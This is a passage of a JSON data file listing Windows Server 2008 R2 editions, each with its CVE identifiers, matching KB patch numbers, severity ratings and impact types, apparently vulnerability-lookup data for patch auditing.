Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416472\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2008 R2 for x64-based Systems (Server Core installation)\":[{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416471\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2506212\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518867\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2008 R2 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416472\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1347\",\"kb\":\"2847204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901126\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1635\",\"kb\":\"3042553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6130\",\"kb\":\"3108670\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108371\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126587\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3192391\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197867\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197867\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012212\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4015549\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019264\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019264\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041681\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054518\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022719\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8472\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025341\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038777\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8685\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8710\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056894\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056894\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093118\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-1038\",\"kb\":\"4100480\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8120\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103718\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457144\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457144\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467107\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467107\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480970\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0708\",\"kb\":\"4499164\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0808\",\"kb\":\"4489878\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530734\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534310\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537820\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540688\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550964\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556836\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556836\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571729\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571729\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-1472\",\"kb\":\"4601347\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003233\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003233\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003667\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004953\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005088\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005633\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006743\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014748\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029296\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025279\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026413\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073695\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028240\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041838\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043129\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048695\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053620\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053620\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053620\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055561\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058380\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058430\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060996\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062632\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063947\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063947\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\":[{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416472\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2506212\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518869\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901126\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1635\",\"kb\":\"3042553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3072305\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3072305\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3072305\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3072305\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3072305\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3072305\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3072305\",\"severity\":\"Critical\",\"impact\":\"Remote Code 